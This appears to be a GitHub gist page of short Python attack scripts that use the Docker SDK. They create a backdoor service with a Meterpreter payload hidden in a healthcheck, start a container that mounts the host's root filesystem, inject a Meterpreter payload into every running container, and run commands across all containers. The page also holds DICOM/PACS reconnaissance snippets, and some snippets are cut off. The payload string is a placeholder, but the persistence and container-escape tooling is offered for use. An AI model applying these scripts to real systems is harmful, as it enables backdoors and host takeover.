Skip to content

Instantly share code, notes, and snippets.

@pasknel
pasknel / BackdoorService.py
Last active June 21, 2019 11:27
Create a Backdoor Service
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
healthtest = ['CMD', 'python', '-c', payload]
cmd = 'python -c "while True: import time; time.sleep(1)"'
@pasknel
pasknel / BackdoorContainer.py
Created June 20, 2019 14:03
Creating a Backdoor Container
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)
volumes = {
'/': {
'bind': '/host',
@pasknel
pasknel / MeterpreterPython.py
Created June 20, 2019 13:58
Run Python Meterpreter Payload in containers
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)
for container in client.containers.list():
try:
print "[*] Injecting meterpreter (python) in container: {0}".format(container.short_id)
@pasknel
pasknel / CreateContainer.py
Created June 20, 2019 03:01
Create a new container
import docker
client = docker.from_env()
image = "alpine"
c = client.containers.run(image, detach = True, tty = True)
print "[+] New container created: {0} ({1})".format(c.short_id, c.name)
@pasknel
pasknel / ExecuteCmd.py
Last active June 20, 2019 02:53
Execute a command on all running containers
import docker
client = docker.from_env()
cmd = "ls"
for container in client.containers.list():
try:
container_name = container.name
result = container.exec_run(cmd)
print "[*] Container: {0} - Output: \n{1}".format(container_name, result.output)
@pasknel
pasknel / SearchDockerSock.py
Last active June 20, 2019 02:41
Search for docker.sock in all containers
import docker
client = docker.from_env()
for container in client.containers.list():
try:
container_id = container.short_id
container_name = container.name
bits, stat = container.get_archive('/var/run/docker.sock')
print "[+] Docker.sock found in container: {0} ({1})".format(container_id, container_name)
@pasknel
pasknel / ListContainers.py
Created June 20, 2019 02:31
List Docker Containers
import docker
client = docker.from_env()
for container in client.containers.list():
print "[*] Container ID: {0}".format(container.short_id)
print "[*] Container Image: {0}".format(container.image.tags[-1])
print "[*] Container Name: {0}".format(container.name)
print ""
@pasknel
pasknel / PacsUserInfo.py
Last active March 15, 2018 18:35
PoC script to grab the implementation version from a PACS server
from pynetdicom3 import AE
from pynetdicom3 import QueryRetrieveSOPClassList
from pynetdicom3.pdu_primitives import ImplementationVersionNameNotification
def handle_association(response):
print("[+] Association Established!")
scp_ae_title = response.responding_ae_title.strip()
for element in response.user_information:
if type(element) == ImplementationVersionNameNotification:
version_name = element.implementation_version_name
@pasknel
pasknel / DicomFindExample.py
Created February 22, 2018 14:45
C-FIND request example with pynetdicom3 and pydicom
from pynetdicom3 import AE
from pydicom.dataset import Dataset
from pynetdicom3 import QueryRetrieveSOPClassList
ae = AE(scu_sop_class = QueryRetrieveSOPClassList)
ip = "IP ADDRESS HERE"
port = 104
association = ae.associate(ip, port)
SOP UID SOP Name
1.2.840.10008.1.1 Verification SOP Class
1.2.840.10008.4.2 Storage Service Class
1.2.840.10008.5.1.4.1.2.1.1 Patient Root Query/Retrieve Information Model - FIND
1.2.840.10008.5.1.4.1.2.1.2 Patient Root Query/Retrieve Information Model – MOVE
1.2.840.10008.5.1.4.1.2.1.3 Patient Root Query/Retrieve Information Model – GET